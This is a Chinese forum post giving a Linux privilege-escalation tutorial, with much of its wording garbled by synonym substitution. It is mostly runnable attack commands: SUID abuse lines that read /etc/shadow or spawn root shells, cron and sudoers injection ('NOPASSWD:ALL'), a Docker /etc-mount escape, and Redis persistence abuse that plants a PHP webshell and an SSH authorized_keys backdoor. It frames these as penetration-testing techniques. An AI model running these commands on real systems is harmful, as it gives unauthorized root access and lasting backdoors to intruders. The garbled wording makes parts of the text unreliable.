提权——Linux

打印 上一主题 下一主题

主题 551|帖子 551|积分 1653

一、系统毛病提权

   #kali的nmap下令
  nmap -O 目标ip
  

  • 通过当前系统的内核版本搜索当前系统的毛病,举行利用        搜索毛病
  • 对linux系统的毛病举行利用(脏牛、脏管道等)
             利用毛病搜索工具,搜索当前系统是否存在一些毛病

    • linux-exploit-suggester-master
      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
      解压缩之后,执行他的.sh 文件 ,会把当前系统的全部毛病搜索出来。
    • linux-smart-enumeration-master
      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels
      解压缩之后,执行他的.sh 文件 ,会把当前系统的全部毛病搜索出来。
         
  • MSF提权辅助工具
    MSF中有一个模块,叫后渗出测试模块(POST),其中这个模块就可以提供提权 。
             进入msf中 ,搜索 suggester
       
    1. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    2. Matching Modules
    3. ================
    4. #  Name                                      Disclosure Date  Rank    Check  Description
    5.   -  ----                                      ---------------  ----    -----  -----------
    6.   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    7. Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
    复制代码
        利用这个后渗出测试模块,举行搜索 可用的提权毛病 。
       
    1. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    2. msf6 post(multi/recon/local_exploit_suggester) > show options
    3. Module options (post/multi/recon/local_exploit_suggester):
    4.   Name             Current Setting  Required  Description
    5.   ----             ---------------  --------  -----------
    6.   SESSION                           yes       The session to run this module on
    7.   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    复制代码
        设置session后运行
  二、系统设置提权 

1、soduer提权

(1)毛病产生缘故原由
        当一个普通用户被创建出来时,在执行某些任务时可能必要执行某些下令的权限,管理员可能为了省去麻烦直接将可以执行全部下令权限赋值给这个普通用户。
        且在 /etc/sudoers 文件中设置权限,给普通用户全部权限:
   dong ALL=(ALL)  NOPASSWD:ALL #设置全部权限
  
  dong ALL=(ALL)  NOPASSWD:/usr/bin/firewall-cmd  #设置操作防火墙的下令权限,只必要知道该下令所在的位置
  (2)利用毛病
        在普通账户操作的时间,可以在下令前加一个 sudo 就可以像root账户一样的操作 。  
   sudo /etc/shadow
  (3)复现
   第一步:
  查察当前有哪些用户
  cat /etc/passwd
  

  创建一个新用户
  useradd 新用户名
  

   给新用户设置密码
  

  第二步:
  给Sun_happy赋予执行全部下令的权限
  在/etc/sudoers中设置
  

  1. chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777
复制代码
下令:
  1. Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限
复制代码
第三步:
  在普通账户操作的时间,可以在下令前加一个 sudo 就可以像root账户一样的操作 。
  下令:
  1. sudo /etc/shadow
复制代码

           从真实环境来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。
2、suid提权

(1)suid工作机制

Linux历程在运行的时间有以下三个UID:

Real UID:执行该历程的用户的UID。Real UID只用于标识用户,不消于权限检查。
也就是不论是root还Sun_happy都是没有区别的
Effective UID(EUID):历程执行时生效的UID。在对访问目标举行操作时,系统会检查EUID是否有权限。一般环境下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,历程的EUID会被设置为程序文件属主的UID。
Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行下令。重要设置于 chmod 下令中第user第3位。
(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。
操作
   #给bash下令加上suid权限
  chmod u+s bash
  

  #利用赋予了s权限的bash来使得普通用户欣赏管理员才能查察的文件
  sudo Sun_happy        #转到普通用户
  id        #查察id
  

  bash -p         #将euid改为root
  

  cat /etc/shadow        #欣赏管理员才能查察的文件
  

          但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。
(3)检查系统文件s权限

不具伤害性的s权限的赋予
   linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :
  /usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd
  具有伤害性的s权限的赋予(检查系统设置毛病时重点关注的对象)
   chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;
  3、定时器提权

(1)定时器的使用

        定时器是我们linux中的一个下令,他可以让我们的下令按照我们设置的时间 去定时运行 :
   #定时规则
  *    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 6) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)
  #查察已有的定时任务
  crontab -l
  

  #创建定时任务
  crontab -e
  (2)创建一个执行文件
代码如下:
  1. curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
  2. if [ $? -ne 0 ]; then
  3.     /opt/lampp/lampp start
  4.     echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
  5. fi
  6. firewall-cmd --list-port | grep 80
  7. if [ $? -ne 0 ]; then
  8.     firewall-cmd --add-port=80/tcp
  9.     echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
  10. fi
复制代码
 表明:
访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php



(2)创建一个定时器任务

crontab -e
   */1 * * * * /home/Sun_happy/mysite.sh
  

  #检查定时任务是否创建成功
  

  #查察日志
  

  (3)定时任务伤害性 

        对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。
 危害代码添加:
   #在mysite.sh文件中添加:将s权限赋值给bash
  chmod u+s /usr/bin/bash 
  

  #检测
  

  #在mysite.sh文件中添加:使普通用户拥有执行全部下令的权限
  echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers
  #检测
  

  4、docker容器提权  

查察是否有docker组 -> 查察当前获取到的普通用户是否在docker组内里 -> 如果在,创建一个容器,并把etc目次挂载到宿主机的etc目次 -> 修改/etc/passwd中的普通用户id为0
   例如 :拉取一个centos 容器
  docker search centos
  docker pull centos
  docker images
  1. docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
  2. docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
  3. #docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。
复制代码
此时,容器内部的/etc目次和物理机的逐一同步对应的,可选直接echo最加:
  1. echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers
复制代码
最后,直接用sudoers提权方式提权即可。
三、第三方软件提权(redis)

1、利用持久化文件提权

        在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .
   首先 当前系统必要有web(php、jsp、asp等)环境 。
  (1)修改持久化文件路径
   #查询当前web环境的路径
  1. # /opt/lampp/htdocs/security
  2. config set dir /opt/lampp/htdocs/security
复制代码
(2)修改持久化文件名字
   #根据web环境 举行确定文件名
  config set dbfilename  shell.php
  (3)向持久化文件中写入木马
  
  1. set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save
复制代码
(4)测试

2、利用公钥和私钥登录 

(1)天生公钥和私钥
    ssh-keygen -t rsa
  

   (2)设置redis的持久化文件的路径和名字
   config set dir /root/.ssh  # 设置路径  如果当前root下 没有`.ssh` 自己创建一个
config set dbfilename authorized_keys   # 设置持久化文件的名字 
save
  (3)把公钥内容存储到持久化文件中
   set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n" 
  (4)在天生公钥和私钥的windows上登录
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表